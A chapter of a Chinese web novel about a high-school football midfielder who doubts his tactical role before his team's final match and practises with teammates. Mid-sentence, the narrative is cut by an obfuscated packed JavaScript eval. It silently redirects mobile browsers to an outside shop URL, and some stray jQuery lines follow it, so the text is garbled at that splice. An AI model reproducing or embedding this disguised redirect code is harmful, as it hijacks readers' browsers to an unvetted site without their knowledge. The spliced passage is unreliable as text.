高一下学期眼看过了一半，池静明望向灰色的天正发呆。
老房的屋檐呈人字形，灰瓦层层堆叠，躺着还算舒服。池静明把手垫在后脑勺下，视线随几个落队的赛鸽打转。
为什么。
他总在想一个问题：为什么教练会让他这个新手踢球队重要的中场位置。
他想破头也没想明白，只听见四下里传来布料摩擦的声音。
“干吗呢？”屋檐上突然冒出了个脑袋。
池静明显然被吓了一跳：“你怎么上这来了！”
“从胡同口大老远儿就能瞅见你在这儿消极，”杜康就这么踩着梯子，不上不下地站着，“你家屋顶儿风景如何？”
“就那样吧。”池静明拍了拍身旁，示意杜康上来坐坐。
从这个角度平视过去，正好可以看到整片死胡同的全貌，邻居们在狭小的院子里穿梭，不少住家儿已经开始做起晚饭，转动的排风扇吹出饭菜的香味。
“找我有事？”
“也不算什么大事，刚才骑车忘了说，”杜康双手揣兜，挨着池静明坐下，“五中有几个是初中联赛升上去的，我寻思和你念叨念叨打对抗的事儿。”
“得了吧，”池静明没什么兴致，“赵教练都安排完战术了，我那作用也轮不上什么对抗。”
周日学习小组之后，赵恒一特地留了半个多小时细致地安排战术，从守门员开始，逐一分析每个位置的侧重盯防与打法。
赵明明蹲守了几个月终于录完了五中全部八场比赛，再剪辑成浓缩的十几分钟视频，随着战术安排极快速准确地传达，池静明也感受到了极大的冲击。
这一切完善的准备，就好像赵恒一从寒假就开始策划这场和五中的对局。
“怎么轮不上，你这个疯狗位最难了！”
“谁是疯狗位？”
“你看给你的战术定位是不停跑动，无球状态下通过喊话、动作等干扰对方，这不是疯狗是什么？”
池静明只想一脚把他踹下去。
“你别瞧不起，这可是全队最重要的位置了！”杜康连忙贴上笑脸，“周末踢不踢得好，就看你这疯狗跑位到底能跑出什么花儿来。”
“最重要？”池静明瞥了他一眼，“我怎么就不明白呢……”
“五中的中场都能跑着呢，要是没有个势均力敌的牵着他们，那其他人都得被防死，”杜康以为他没听懂战术思路，又讲了起来，“你这回，顶在中场靠前的位置，就是靠跑动扯开空挡，找机会。”
“我知道。”
“不光你跑，韩哲学、方队、徐晨港，还有我都要盯着你的站位，找失位的防守队员。这还不算重要吗！”
“我知道……”
“那你不明白个什么啊？”
“我是想不通，这么重要的位置，为什么偏偏让我来。”
赵恒一绝对是D市最古怪和大胆的教练。池静明想。
他没有韩哲学的技术，更不像杜康那般有豪言壮志。他不知道足球对自己有什么特殊意义。或者说根本没什么意义，他甚至以为自己可以不在乎三十三中晋级的淘汰赛，始终有着局外人的洒脱。
但偏偏赵恒一点兵点将，点到他来做关键人物。
“为什么不能是你？”
“凭什么是我，我连球都拿不稳。”
“也没让你拿球啊。”
池静明自知和杜康说话总原地打转，便无奈叹了口气。
“池子你想得太多了，足球比赛而已，瞎琢磨也没用，上场踢了才知道。”
“那你想没想过，如果输了会怎么样？”
“大不了明年东山再起呗。”
“你是东山再起了，但队长、副队长、超人、尚武呢！周六的那场比赛，就是他们高中生涯最后一场球了！”
“是啊，那怎么了？”
“怎么了！”池静明抬高了调门，“如果赢不了，球队就要散了！”
四月底，晚风吹过薄汗还有些微冷，杜康缩着脖子，表情还是那么淡然：“所以你才发现吗……教练就是在为明年的比赛做准备。”
“明年？”
“对啊，入队重新安排位置的时候，赵教练就问过队长，要不要让你去踢后卫。队长说不行，队里年年都缺中场，但凡能往前踢的都别踢后卫。”
这话池静明不敢细想：“什么意思？”
“池子，今年队里正式的球员就十一个人，与其期待这个赛季能有个好结果，队长和教练都觉得，倒不如培养明年能踢出去的中前场组合。”
池静明把这句话放在脑子里来回循环，不知道该用什么态度回话。时间不早了，拐弯的路灯到点儿“唰”地亮了起来。
在这温暖的光照下，他像是突然想起什么：“嗯……你要来和我念叨什么来着？”
“你说刚才？哦，就说说五中的几个中后卫呗。”话题就这么被岔开。
“嗯，那你说说吧……”池静明站起身，准备踩梯子往下走。
“就在这儿说呗，视野多好，还正好挨着路灯，亮堂。”
至于五中的那几名球员的事儿，池静明是半点儿都没听进去，满脑子想的都是——最后一场比赛。
母亲唐静正在厨房烙糊塌子。那是胡同里到了春天常吃的好东西。
将西葫芦擦丝和拢上鸡蛋和面粉，加上葱花、调料直接倒进电饼铛里，薄薄一张不到两分钟就能烙好。
极其简单的过程却有着非常清香的口感，往日里池家的两个男人一顿至少能下十来张。
但今天池静明的胃口不算好，他死盯着电视屏幕里的广告看得出神。那是几个孩子在大树下打闹的画面。
忽然他就想起小时候，也许是在春天，几个玩不够的孩子趁着雨天还嚷嚷着出门踢球。人数自然凑不够，于是，那便给了池静明第一次踢球的机会。
不远的胡同口，几个矮小的身影在追着一只瘪了的足球疯跑，踢得再烂，笑得却无比开心。
小小的池静明学着同伴的样子，笨拙慌乱地触球，棉布鞋在水坑中飞踏而过。然后他不知道被谁的腿绊倒，摔倒了又爬起来，笑声就从手中挥舞的雨伞下冒出。直到次日，他才发现自己的小腿上全是淤青。
他并没有那么热爱足球。他只是想和好友们一起奔跑。
以至于，他在今天之前，真的从未想过，这就会是三十三中足球队在今年最后一次比赛了。
转过天一大早，池静明就赶去了学校，他也睡不好干脆早点儿去跑步。可到了球场替补席旁，却看到了熟悉的书包，有人比他来的还要更早。
“哐哐……哐哐……”那是放足球的推车轮子发出的声响，池静明扭过头去看，不由得感到意外。
“这么早？”
“早吗？”韩哲学随口应着。他家就住在学校对面，理应来得早点儿。
“练球？”
“嗯……”韩哲学随便捡出一个足球扔到地上，准备练练射门。
“韩哲学，”池静明下意识就喊住了他，“一起练呗？”
“嗯……”依旧是漫不经心的回答。
池静明开始跑圈，跑得不算快，四五圈之后就独自在场边简单热身。操场上静得出奇，韩哲学踢向足球的声音就显得尤其刺耳。
尴尬的气氛被很快打破：“那你来这么早干嘛？”
“睡不着。”池静明如实回答。
“过来客串一下后卫。”韩哲学头也没扭，依旧是自顾自地转身打门。池静明很快就冲上去试图断下他的球，但无奈脚法的差距天上地下，便只是单纯地陪跑。
“你别离我这么远啊。怎么？不敢防我啊？”
池静明还真不是不敢防，他是真的跟不上，于是就边跑边问：“你说，踢五中的时候，你会怎么给我传球？”
“怎么传？用脚传呗。”
“那你还会不会继续往前插，我可以和你二过一。”
韩哲学听到这反而停下了脚步，“你只要能跑到合适的位置上，我为什么不前插，本来我就是踢前锋的，这事儿你不门儿清？”
“成。”池静明应了声，继续贴上去准备防守，可对方却怎么都不动了，站在原地用球衣下摆擦着脸。
“池静明，”韩哲学的声音闷闷的，“老赵告诉你的？”他指的自然是自己的过去。
池静明低头见自己站在禁区线旁，有些难以启齿：“不是，赵教练没提过，我偷听的。”见对方半天也没有回应又补了句：“我估计三十三中建队历史以来，你都算是踢得最好的那个。”
韩哲学突然笑了：“你还挺会安慰人。”
“我有目的的，”池静明也跟着笑，“多夸你两句，你指定能踢得更好。”
“那可不一定。”
“你踢后腰没准就比前锋更好，咱球队也缺中场。”
“你以为我想啊。就老赵净诓我，让我改踢后腰，靠，后腰才是最难踢的。”
“谁不是呢。”
二人就这么乱杵在操场上浪费着时间，直到韩哲学意识到什么才又重新把球踩在脚下：“周五的比赛我怎么想怎么悬，想着早点儿来练练，还赶上你了。”
“五中是典型的耐力球队，肯定是不好打的，但我也没太琢磨明白教练的意思。”
“上半场摆大巴，完全不进攻，下半场往死里攻，”韩哲学来回做了几个拉球，“这么不要脸的战术我都闻所未闻。”
池静明难得听到这么客观的评价：“为了赢嘛……”
“是，为了赢……”
难得和韩哲学练了阵球，偶尔赶上幸运的一脚勉强也能把球断下，来来往往一个小时后，池静明还真总结了点儿什么，那就是不要去看对方企图突破的方向，而是要判断对方传球的线路。
直到放学后球队和初中队合训，彻头彻尾地摆了次大巴，池静明才对自己的防守有了些自信，至少他能防得住初中队的替补了。
“池静明，”赵恒一从初中队那儿借了个后卫替他，在场边喊他下场休息，“你小子偷练了？”
“早上和韩哲学学了两招。”池静明接过施篇递来的水瓶，坐在场边重新观察起了比赛。
“他和你说什么了没有？”
赵教练言下之意是韩哲学该和自己说点儿什么，但池静明想了半天还是摇摇头。
“我以为他能给你指点指点怎么当‘搅屎棍’。”
“那还真没有……教练，这词怎么听着这么难受啊。”
“别计较这个了，”赵恒一挨着他坐下，“这么关键的角色，他说让给你，我以为顺带着给你讲讲。哎！什么事都不能指望他！”
“什么意思教练，”池静明眼睛随着场上的足球来回移动，却一点儿都没在意球队的情况，“什么叫他让给我？”
“本来是让他去踢影锋的，找机会就捅五中个窟窿，结果他死活不乐意，”赵恒一转念就骂了出来，“我以为他还不想回去踢前锋，结果是因为他懒！”
“那我这角色和影锋也没关系啊？”池静明听得云里雾里，“不是安排我拉动防线、高喊、多和队友眼神互动……但是不拿球吗？”
“你能跑，下半场可着他们的后防线玩，反正都最后一场了，咱们也不藏着掖着，就是要赢！”
池静明面露难色：“不是，教练，这么重要的比赛，为什么让我来做战术的核心？”
“哎！超人！你往哪跑呢！”赵恒一猛地站起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758191|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身吹哨，远处的裴超仁摸了摸后脑勺，他冲大了，都跑去对方的半场了，“你啊，想得太多，容易输。”
听了这话，池静明也跟着走到场边，心思重新回到比赛中：“教练，乌鸦嘴。”
“对，呸呸呸，说什么输，得赢，必须要赢！”赵恒一又吹了两声哨，“小秋你铲他啊！”
“老赵！我们周末也比赛呢！”初中队教练搁着不远处喊话，看样子是略有不满。
“池静明，来，”赵恒一摆摆手，“你等会儿上场，一看断球成功就往前顶，咱们演练演练下半场的进攻战术。记住，你的第一任务是断球，第二任务是在对方的后防线前找空间，第三任务……”
池静明把球衣塞进裤子里：“是什么？”
“喊出来。大胆地喊，让人觉得咱们要内讧了，抱怨！大声抱怨！你不会抱怨？那平时杜康怎么喊，你就怎么喊，放开点儿！都是自己人！咱不怕丢这个脸！”
“……”池静明默不作声，转头回了球场就把这句话给忘了，他实在是喊不出来。比赛中他为了拿球偶尔会发声让队友确认自己的位置，但让他随便喊他还真不会。
等到常盛把球断下来了，大家开始纷纷前压，方则秋带球一路过了中圈，七个高中队的队员站在对方的半场内，池静明才开始有意地在防守球员的盯防下开始找位置，边找边抬头和其他队友对着眼神。
“呼！！”赵恒一这次的哨子声大了很多，“池静明！张嘴啊！”
他咬着牙大声吼了两句：“给我！”
“不对！你词儿不对啊！”
池静明是真没招儿了，开始学起杜康往常老说的那几句欠揍话：“我这有空档！传我啊！”“能不能传传球！别带了！再带丢了！”“突啊！再往前突点儿！”“你行不行啊！”
这话在杜康嘴里大家全当听不见，一方面他是真的嘴碎，连带着自己也骂，另一方面这也是他干扰对方后卫的习惯，并不是真的埋怨队友。
但轮到池静明说，那意思多少有点儿变味儿了。
初中部一看这是有情绪啊，自然更想要抓着他们的失误打一波反击。结果拼抢的过程中站位发生了变化，还真让池静明跑出一个空挡。
韩哲学传球前池静明便已经记住了场上其他人的站位，便果断出脚，刚巧塞到裴超仁面前，他连球都没停直接右脚开摆，角度完美地将球打进。
“漂亮！”赵恒一在场边忘情欢呼，好像看到了周末比赛的希望。而池静明就干站在原地，满脑子都是接下来要喊话的内容。
实在不知道该怎么表演，训练赛结束后他特地在更衣室向大家问起了诀窍。往日里还算和谐的队伍，立马就充满了各式各样的垃圾话。
“要不然带点儿脏字？比如：你他妈在干嘛！”
“骂得太干了队长，改成：你他妈传哪去了！自然多了。”
“还有什么：你踢得和屎似的、傻逼回防啊、停球你妈停哪去了……”
“停停停，太脏了，说不出口啊，”池静明终于忍不了结束了话题，“球队太和谐反倒出问题了……”
“嗨没事，你上了场自然就真情实感地骂出来了。”杜康在旁边煽风点火。
常盛连忙矫正道：“去去去！咱们队难得团结，你少搁这儿挑拨离间。”
池静明见大家纷纷走去洗澡，自己屁股像粘在椅子上，便坐在球衣前光着膀子放空着。
“你吃吗？”一根士力架递到了眼前，池静明抬头去看，竟然是往日里来往不太多的方则秋。
“谢谢方队，不吃了，”他从包里掏出个压缩饼干撕开啃了两口，“我有这个。”
“突然想起个事，”方则秋拿着毛巾打了打常盛，“咱俩在这，还说过要把他给换了。”
“你别扯淡啊，只有你！没有我。”常盛立马回嘴。
“哦那次啊……”池静明倒没在意，“那会儿我确实踢得不行。”
“要不你再道个歉吧。”常盛踢了方则秋一脚。
“不用了，万一我周六踢得不好……”
“别介，你现在可以了，最起码咱们中前场有配合有射门，我看踢五中问题不大。”
常盛乐观得像那只是场微不足道的比赛。
“但这可能就是你们高中生涯踢的最后一场……”
“怎么可能是最后一场，”常盛笑着掏出他那桶巨大的洗发水，“明年你们不需要替补啊，后卫多么吃资历的位置，怎么也轮得上我们俩再踢点儿伤停补时吧。”
“你可别喊我，”方则秋摆摆手，“大周末的我要在家睡觉。”
他们俩表现得越是满不在乎，池静明便越是知道他们很在乎。
每个人都很在乎，因为他们真的热爱足球。那不说再见，也许就真的不会离开校队，也就不会离开足球的赛场。
“走吧池子，”常盛招呼他去澡堂，“怎么我也得把这桶洗发水都用完了再挂靴啊是不是。”
池静明直接套起外套，和方则秋一样只拿了毛巾就往外走。太阳的余晖几乎要消失，方则秋就跟在常盛身边，二人沉默无言，却好像又什么都说过了似的往学校的角落走去。
池静明忽然感到心底发烫。
时至今日，他仍然并没有那么热爱足球。他还是想和好友们一起奔跑。
哪怕是在谢幕的仪式上，他们都永远不会放弃。足球的终场哨往往正是另一个起点，它催促着少年们成长为大人，汗水、泪水和欢呼声就是这场成人礼的馈赠。
这会是一场漂亮的比赛。胜利已无需多言，排行榜上名词和积分都只是最简单不过的数字。他们的影子会拉得足够长，直到盖住整个高中时代，在某个午后想起，仍旧是热血沸腾。